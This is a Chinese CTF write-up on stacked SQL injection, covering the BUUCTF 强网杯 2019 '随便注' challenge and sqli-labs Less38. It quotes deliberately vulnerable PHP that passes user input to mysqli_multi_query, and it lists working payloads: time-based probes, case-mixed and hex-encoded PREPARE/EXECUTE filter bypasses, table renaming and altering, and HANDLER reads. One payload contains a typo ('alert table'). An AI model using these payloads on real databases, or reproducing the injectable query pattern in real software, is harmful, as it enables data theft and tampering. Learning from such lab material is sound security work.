SQL注入进阶之路-针对堆叠注入的研究
堆叠注入
题目:BUUCTF[强网杯 2019]随便注
0x01 原理
将多个语句一起进行查询,比如
select * from users;show databases;
产生这种注入的原理也很简单,是由于PHP mysql_multi_query()
这个函数支持多个SQL语句同时执行,只需要使用;
分割即可。
0x02 危害
例如Sqli-labs的Less38,我们就可以使用堆叠注入绕过PDO
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
//mysql connections for stacked query examples.
$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
// Check connection
if (mysqli_connect_errno($con1))
{
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else
{
@mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");
}
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
/* store first result set */
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '<font size = "5" color= "#00FF00">';
printf("Your Username is : %s", $row[1]);
echo "<br>";
printf("Your Password is : %s", $row[2]);
echo "<br>";
echo "</font>";
}
// mysqli_free_result($result);
}
/* print divider */
if (mysqli_more_results($con1))
{
//printf("-----------------\n");
}
//while (mysqli_next_result($con1));
}
else
{
echo '<font size="5" color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
/* close connection */
mysqli_close($con1);
我们看到了熟悉的函数:
if (mysqli_multi_query($con1, $sql))
这意味着我们可以使用堆叠注入:
?id=1';select if(ord(substring(user(),1,1))=114,sleep(3),1);#
即可基于时间延迟进行注入
0x03 基于堆叠注入的花样百出的绕过与延伸学习
因为是堆叠注入,所以可以直接使用SQL语句
查看数据库:
1';show databases;#
选择一个数据库
1';use supersqli;#
展示表:
1';show tables;#
查询两个表的列名,这里需要注意的是:如果是纯数字,需要使用反引号包裹:
1';show columns from `1919810931114514`;#
一般情况下,我们就可以直接查询字段了,但是这里面有个问题,就是正常的查询被禁止了
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
这里介绍几种方式来绕过:
0x001:prepare绕过
我们将在这个内容下,对mysql预处理进行简要的介绍与分析,如果只需要payload的可以直接点击目录的"Payload"即可
简介
预处理或者说是可传参的语句用来高效的执行重复的语句
MYSQL官方将:
prepare
、execute
、deallocate
统称为PREPARE STATEMENT
三个基本语句:
prepare stmt_name from preparable_stmt;
execute stmt_name [using @var_name [, @var_name] ...];
{deallocate | drop} prepare stmt_name;
payload
1';seT @a = CONCAT('se','lect * from `1919810931114514`;'); pRepare flag from @a;EXECUTE flag;#
set
prepare
被过滤了,简单的大小写绕过
首先设定一个变量a 并使用mysql的concat函数拼接语句
prepare from
是预处理语句
execute
用来执行由SQLPrepare
创建的SQL语句
而值得注意的是,SET
只能一次对一个变量赋值
也可以使用编码来绕过select
使用Hex对
select * from ` 1919810931114514 `
进行编码
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
而无论是payload1中的prepare flag
还是payload2中的execsql
他们都是我们起的一个代称,下面的execute用来执行这个你起的代称。比如 EXECUTE flag
execute execsql
0x002:rename && alter
观察到前台是有显示数据的,所以猜测这个数据很有可能是从words这个表中读取的,因此,我们可以把表名1919810931114514
改为word,并将数字名的表中的列名改为与words表里同样的列名就可以让前台顺利的读取flag
所以我们需要读取一下列名:
1';show columns from words;
好了,我们现在需要去修改列名flag 为 data 并添加一列 id
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#
相关SQL语句
修改表名:
rename table a to b
添加表列
alter table test add column name varchar(10);
修改表列
alter table test modify address char(10)
alter table test change oldname newname char(40)
0x003 Handler
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭
通过上述的介绍,得知handler也可以起到查询的功能,下面对Handler进行浅析
MySQL 除了可以使用 select 查询表中的数据,也可使用
handler
语句,这条语句使我们能够一行一行
的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是MySQL 专用
的语句,并没有包含到SQL标准中。handler 语句提供通往表的直接通道的存储引擎接口,可以用于 MyISAM 和 InnoDB 表。
不使用索引
# 打开一个表名为 tbl_name 的表的句柄
HANDLER tbl_name OPEN [ [AS] alias]
# READ FIRST: 获取句柄的第一行
# READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行)
# 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
# 关闭以打开的句柄
HANDLER tbl_name CLOSE
实例:
查询 users表中的数据:
使用select
使用handler
首先打开句柄:
handler users open;
接着查询数据:
handler users read first;
handler users read next;
关闭句柄
handler users close;
使用索引
# 打开一个表名为 tbl_name 的表的句柄
HANDLER tbl_name OPEN [ [AS] alias]
# 2、通过索引查看表
# FIRST: 获取第一行(索引最小的一行)
# NEXT: 获取下一行
# PREV: 获取上一行
# LAST: 获取最后一行(索引最大的一行)
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
# 关闭以打开的句柄
HANDLER tbl_name CLOSE
实例:
创建索引:
create index users_index on users(id);
以
users
中的id
字段创建索引,命名为users_index
。
打开句柄:
handler users open;
读数据:
handler users read users_index first;
控制阅读的数据:
first:第一行
next:下一行
prev:上一行
last:最后一行
当然,既然有索引,我们可以指定索引的值来读数据:
handler users read users_index=(3);
0x04:参考
https://blog.csdn.net/qq_43801002/article/details/105785215
https://blog.csdn.net/qq_43427482/article/details/109898934
https://blog.csdn.net/qq_45691294/article/details/107376284